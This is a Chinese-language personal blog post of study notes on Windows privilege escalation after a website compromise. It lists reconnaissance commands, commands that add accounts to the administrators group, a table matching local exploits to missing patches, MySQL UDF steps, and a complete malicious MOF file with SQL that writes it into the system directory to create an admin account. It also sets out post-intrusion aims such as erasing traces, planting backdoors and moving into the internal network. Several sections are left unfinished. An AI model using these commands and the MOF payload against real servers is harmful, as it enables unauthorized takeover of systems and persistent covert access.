N0rth3ty's Blog.

提权从入门到自闭

字数统计: 1.4k阅读时长: 5 min
2018/10/19 Share

提权

通过各种办法和漏洞,提高自己在服务器中的权限,以便控制全局。
Windows:
User >> System
Linux:
User >> Root

提权攻击原理及提权方法
主要针对网站入侵过程中,当入侵某一网站时,通过各种漏洞提升
WEBSHELL权限,从而进一步获得服务器权限。

掌握相关的提权工具工具进行提权

  • 操作系统本身的提权
  • 利用数据库进行提权
  • 系统配置不当提权
  • 第三方软件提权

提权后的操作

  • 清理痕迹–隐藏攻击
  • 安装后门–长久控制
  • 渗透内网-扩大战果

    0X00 Windows提权

    信息收集和提权基础

    提权的第一步同样是信息收集
    对于系统的基本信息一般包括
  • 主机名
  • 所属域
  • 环境变量等

以下是部分常用命令

获取主机名

hostname或者echo %COMPUTERNAME%

获取当前用户权限信息

whoami /priv

收集本地用户和组信息
本地用户组

net localgroup

本地用户

net user

添加用户

net user username password /add

将用户加入管理组

net localgroup administrators username /add

激活guest用户

net user guest /active:yes

修改用户密码

net user username newpassword

本地管理员信息

net localgroup administrators

获取所属域信息

systeminfo

这个命令同时可以看到一些其它信息,包括补丁情况,系统版本等
而完整的补丁情况可以用

wmic qfe list

获取环境变量

set

获取在线主机信息

net view

获取本地共享信息,这里可能会有很多对我们提权有帮助的文件

net view /a \%COMPUTERNAME%

获取IP信息,这个大概是进去的第一个命令

ipconfig /all

查看本地端口开放与连接信息

netstat -ano

查看进程列表

tasklist /svc

在安装了IIS服务的系统上,可以用一下命令获取站点信息

%windir%\system32\inetsrv\AppCmd.exe list site

保存系统注册表信息

reg export HKLM hklm.reg
reg export HKCU hkcu.reg
reg export HKCU hkcr.reg
reg export HKCU hku.reg
reg export HKCU hkcc.reg

获取系统日志信息

copy C:\Windows\System32\winevt\Logs\System.evtx
copy C:\Windows\System32\winevt\Logs\security.evtx
copy C:\Windows\System32\winevt\Logs\application.evtx

其它一些提权常用命令

获取在线用户

quser or query user

获取rdp连接来源IP

netstat -ano | findstr 3389

分析安装杀软

dir c:\programdata\

信息收集可以用一个bat脚本实现

提权分类

文件系统权限配置不当提权

有时候webshell自带的cmd并不能执行,因为权限不够
但这个时候我们能够通过大马的探测功能探测可以读写的目录
然后上传一个cmd并运行
然后又可能遇到不能执行net相关命令的情况
同样可以上传一个net.exe进行调用,或者直接windows的API

远程溢出提权

以MS17010为例

本地系统漏洞提权

常用的exp及其补丁对照

  • KB2645640 MS12-009
  • KB2641653 MS12-018
  • KB952004 MS09-012 Pr.exe
  • KB956572 MS09-012 巴西烤肉
  • KB971657 MS09-041
  • KB2620712 MS11-097
  • KB2393802 MS11-011 ms11011.exe
  • KB942831 MS08-005
  • KB2503665 MS11-046 ms11046.exe
  • KB2592799 MS11-080 ms11080.exe

较新的提权漏洞
可提权2008、2012、win7、win8、win10

  • MS12-020
  • MS13-046
  • MS13-053
  • MS14-058
  • MS15-051
  • MS15-077
  • MS15-097

但是实际渗透中涉及的windows机器很多版本都较低

https://github.com/SecWiki/windows-kernel-exploits

可以利用msf进行漏洞扫描

基于数据库提权

MSSQL

mssql提权遇到再补吧。。

xp_cmdshell提权
sp_oacreate和sp_oamethod提权
沙盒提权
JOB提权
xp_regwrite函数进行映像劫持提权
MYSQL
UDF提权

mysql提权必须要知道root账户的密码

UDF提权时MySQL提权中最常用并且成功率最高的一种方法。UDF的全称是User Defined Function,意为用户自定义函数。

  1. 查看mysql版本

    select version()

  2. 不同的版本导出udf.dll的路径不同,经验来讲直接导到\lib\plugin插件目录就可以了。select @@plugin_dir或者show variables like '%plugin%'可以查看插件目录
  3. 上传dll文件到插件目录
    select load_file('D:\\udf.dll') into dumpfile 'E:\\mysql5\\5/lib\\plugin\\udf.dll'
    或者
    select 0xUDFcode into dumpfile 'E:\\mysql5\\5/lib\\plugin\\udf.dll'也可以从webshell上传

udf手工提权先不写了,遇到再补。

mof提权

MOF(托管对象格式)是Windows系统的一个文件,其目录为C:/windows/system32/wbem/mof/nullevt.mof,其作用是每隔一段时间去监控进程的创建和死亡,MOF提权就是使用MySQL的Root权限将含有恶意代码的MOF文件上传到该目录下。

mof代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#pragma namespace("\\\\.\\root\\subscription")   
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

  1. 上传mof文件
  2. 将MOF导出到C:/windows/system32/wbem/mof/目录,并重命名为nullevt.mof,其SQL语句为:

    1
    select load_file('..../mof.txt') into dumpfile 'C:/windows/system32/wbem/mof/nullevt.mof';
  3. 等待一段时间(s为单位,这里mof是5s)成功则发现已经添加admin账户,然后修改mof内容重新上传,将其加入到管理员用户组。

当没有上传权限时,可以直接用十六进制或者ascii通过sql直接写
进入系统后要删除mof文件,因为一直在写的原因,可能导致服务器宕机
该方法使用较老的机器

启动项提权

第三方应用提权

  • pcanywhere
  • RAdmin 存在于端口4899
  • IIS7 存在提权漏洞
  • ….
CATALOG
  1. 1. 提权
  2. 2. 0X00 Windows提权
    1. 2.1. 信息收集和提权基础
    2. 2.2. 提权分类
      1. 2.2.1. 文件系统权限配置不当提权
      2. 2.2.2. 远程溢出提权
      3. 2.2.3. 本地系统漏洞提权
      4. 2.2.4. 基于数据库提权
        1. 2.2.4.1. MSSQL
          1. 2.2.4.1.1. xp_cmdshell提权
          2. 2.2.4.1.2. sp_oacreate和sp_oamethod提权
          3. 2.2.4.1.3. 沙盒提权
          4. 2.2.4.1.4. JOB提权
          5. 2.2.4.1.5. xp_regwrite函数进行映像劫持提权
        2. 2.2.4.2. MYSQL
          1. 2.2.4.2.1. UDF提权
          2. 2.2.4.2.2. mof提权
          3. 2.2.4.2.3. 启动项提权
      5. 2.2.5. 第三方应用提权